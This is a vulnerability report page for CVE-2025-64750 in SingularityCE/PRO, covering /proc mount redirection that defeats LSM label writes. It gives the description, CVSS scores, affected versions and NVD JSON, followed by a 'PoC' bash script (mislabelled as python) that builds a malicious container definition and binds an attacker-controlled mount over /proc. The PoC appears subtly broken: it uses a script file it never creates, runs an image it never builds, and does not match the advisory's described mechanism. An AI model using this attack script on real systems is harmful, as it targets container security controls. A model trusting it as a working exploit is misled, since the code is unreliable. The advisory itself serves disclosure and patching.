Security Vulnerability Report
中文
CVE-2025-64750 CVSS 4.5 MEDIUM

CVE-2025-64750

Published: 2025-12-02 18:15:49
Last Modified: 2026-04-15 00:35:42

Description

SingularityCE and SingularityPRO are open source container platforms. Prior to SingularityCE 4.3.5 and SingularityPRO 4.1.11 and 4.3.5, if a user relies on LSM restrictions to prevent malicious operations then, under certain circumstances, an attacker can redirect the LSM label write operation so that it is ineffective. The attacker must cause the user to run a malicious container image that redirects the mount of /proc to the destination of a shared mount, either known to be configured on the target system, or that will be specified by the user when running the container. The attacker must also control the content of the shared mount, for example through another malicious container which also binds it, or as a user with relevant permissions on the host system it is bound from. This vulnerability is fixed in SingularityCE 4.3.5 and SingularityPRO 4.1.11 and 4.3.5.

CVSS Details

CVSS Score
4.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:L/AC:H/PR:N/UI:R/S:U/C:L/I:L/A:L

Configurations (Affected Products)

No configuration data available.

SingularityCE < 4.3.5
SingularityPRO 4.1.x < 4.1.11
SingularityPRO 4.3.x < 4.3.5

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/bin/bash # CVE-2025-64750 PoC - LSM Label Redirection Attack # This script demonstrates the concept of LSM label redirection # Requires: SingularityCE < 4.3.5 or SingularityPRO < 4.1.11/4.3.5 # Attacker prepares a malicious container with bind mount configuration cat > malicious_container.def << 'EOF' Bootstrap: docker From: ubuntu:22.04 %files malicious_script.sh /malicious_script.sh %startscript #!/bin/bash echo "Attacker-controlled mount manipulation" mkdir -p /tmp/shared_mount mount --bind /malicious_content /tmp/shared_mount EOF # Create malicious content directory mkdir -p /malicious_content echo "Attacker-controlled LSM label content" > /malicious_content/lsm_label # User is tricked into running the malicious container # The container will bind mount to /proc location # This causes LSM write operations to target attacker-controlled location # Attack execution (requires user interaction and shared mount configuration) singularity run --bind /tmp/shared_mount:/proc malicious_container.sif # The above demonstrates the redirection mechanism # Actual exploitation requires specific system configuration

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-64750", "sourceIdentifier": "[email protected]", "published": "2025-12-02T18:15:48.750", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "SingularityCE and SingularityPRO are open source container platforms. Prior to SingularityCE 4.3.5 and SingularityPRO 4.1.11 and 4.3.5, if a user relies on LSM restrictions to prevent malicious operations then, under certain circumstances, an attacker can redirect the LSM label write operation so that it is ineffective. The attacker must cause the user to run a malicious container image that redirects the mount of /proc to the destination of a shared mount, either known to be configured on the target system, or that will be specified by the user when running the container. The attacker must also control the content of the shared mount, for example through another malicious container which also binds it, or as a user with relevant permissions on the host system it is bound from. This vulnerability is fixed in SingularityCE 4.3.5 and SingularityPRO 4.1.11 and 4.3.5."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:H/PR:N/UI:R/S:U/C:L/I:L/A:L", "baseScore": 4.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 1.0, "impactScore": 3.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-61"}, {"lang": "en", "value": "CWE-706"}]}], "references": [{"url": "https://github.com/advisories/GHSA-fh74-hm69-rqjw", "source": "[email protected]"}, {"url": "https://github.com/opencontainers/runc/security/advisories/GHSA-cgrx-mc8f-2prm", "source": "[email protected]"}, {"url": "https://github.com/sylabs/singularity/commit/27882963879a7af1699fd6511c3f5f1371d80f33", "source": "[email protected]"}, {"url": "https://github.com/sylabs/singularity/commit/5af3e790c40593591dfc26d0692e4d4b21c29ba0", "source": "[email protected]"}, {"url": "https://github.com/sylabs/singularity/pull/3850", "source": "[email protected]"}, {"url": "https://github.com/sylabs/singularity/security/advisories/GHSA-wwrx-w7c9-rf87", "source": "[email protected]"}]}}